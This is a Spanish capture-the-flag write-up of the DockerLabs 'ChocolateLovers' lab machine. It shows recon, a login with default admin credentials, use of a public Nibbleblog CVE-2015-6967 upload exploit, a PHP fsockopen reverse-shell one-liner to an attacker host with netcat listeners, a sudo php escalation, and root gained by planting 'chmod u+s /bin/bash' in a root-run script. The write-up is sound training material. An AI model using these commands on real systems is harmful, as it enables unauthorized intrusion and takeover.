ChocolateLovers - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | ElPinguinoDeMario |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
80(HTTP)
A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p 80-sCV 172.17.0.2 -oG targeted
Exploración Web
Al acceder a la página web, observamos un panel de Apache que está configurado por defecto.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
No encontramos nada relevante por esta vía, así que decidimos cambiar el enfoque.
En el código fuente de la página encontramos una ruta que parece interesante, decidimos seguirla para investigar.
Nos redirige a otra ruta llamada admin.php.
Al probar contraseñas por defecto, utilizamos admin/admin y conseguimos acceder.
Explorando la página en la sección de settings, encontramos la versión del servicio que está en ejecución.
Vamos a ver si existe algún exploit disponible para esta versión.
Existen varios exploits para la versión que tenemos.
CVE-2015-6967
Usaremos este repositorio de github para explotarlo CVE-2015-6967.
El exploit funciona a través de un plugin llamado my_image.
Parece que necesitamos instalar el plugin, ya que el exploit lo utiliza, pero no lo instala automáticamente.
Vamos a ejecutar el exploit. Antes de hacerlo, generamos nuestra reverse shell.
Intrusión en la Máquina
Generamos la reverseshell utilizando Pentest Monkey, una herramienta popular para crear shells PHP que nos permiten obtener acceso remoto al servidor. La ruta de la reverseshell es la siguiente:
Reverseshell de Pentest Monkey
Una vez que tengamos la reverse shell lista, descargamos el repositorio y ejecutamos el exploit.
git clone https://github.com/dix0nym/CVE-2015-6967.git
Ejecutamos el siguiente comando para lanzar el exploit:
python3 exploit.py --url http://172.17.0.2/nibbleblog/ --username admin --password admin --payload ../shell.php
Investigando un poco más, descubrimos que en este repositorio están los plugins:
http://172.17.0.2/nibbleblog/content/private/plugins/
Pasos para Cargar la Reverseshell
Nos ponemos a escuchar en nuestro caso el puerto 4444 con netcat:
nc -lvnp 4444
Luego accedemos a la ruta donde subimos la reverse shell, haciendo clic en el archivo image.php:
Con esto, ya tendríamos acceso a la máquina.
TTY ReverseShell
Iniciar una sesión de shell interactiva
En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:
script /dev/null -c bash
Suspender la shell
Una vez que el comando anterior está en ejecución, utilizamos
Control+Z
para suspender temporalmente nuestra shell.
Preparar nuestro terminal local:
Antes de volver a nuestra shell, configuramos nuestro terminal local:
stty raw -echo; fg
Resetear la configuración del terminal
Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:
reset
Configura el tipo de terminal:
xterm
export TERM=xterm
export SHELL=bash
Intrusion
Ahora que estamos dentro de la máquina, si ejecutamos el comando sudo -l, vemos que podemos ejecutar php como el usuario chocolate. Si no sabemos cómo aprovechar esto, podemos recurrir a GTFOBins.
Para obtener una shell como el usuario chocolate, ejecutamos el siguiente comando:
www-data@5a6d69b701d7:/$ CMD="/bin/sh"
www-data@5a6d69b701d7:/$ sudo -u chocolate php -r "system('$CMD');"
Si ejecutamos whoami, podemos ver que ya somos el usuario chocolate.
Tuve problemas al ejecutar una shell directamente, así que decidí generar otra reverse shell y repetir los pasos para obtener una TTY interactiva.
sudo -u chocolate /usr/bin/php -r '$sock=fsockopen("172.17.0.1", 4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Por el otor lado estamos escuchando.
nc -lvnp 4444
Una vez reconectados a la máquina con la nueva reverse shell, repetimos los pasos para configurar una shell interactiva (TTY).
Accedor Root
Investigamos un poco más dentro del sistema y observamos que hay un proceso ejecutado por root que corre un script llamado script.php.
El gran descubrimiento aquí es que tenemos permisos para modificar este archivo script.php. Como podemos editarlo, decidimos insertar una línea que nos dará una shell como usuario root.
Modificamos el contenido de script.php para que ejecute una shell elevada:
Como podemos cambiarlo a nuestro antojo vamos a poner lo siguiente.
<?php
exec("chmod u+s /bin/bash");
?>
Con esta línea, al ejecutarse el script por el proceso root, el binario bash se actualizará para tener el bit SUID (Set User ID). Esto significa que cualquier usuario que ejecute este binario obtendrá permisos de root.
Tras esperar a que el script se ejecute automáticamente, simplemente lanzamos una shell de la siguiente manera:
bash -p
Ahora, verificamos si efectivamente hemos obtenido privilegios de root ejecutando whoami.
¡Y listo! Ahora somos root en la máquina.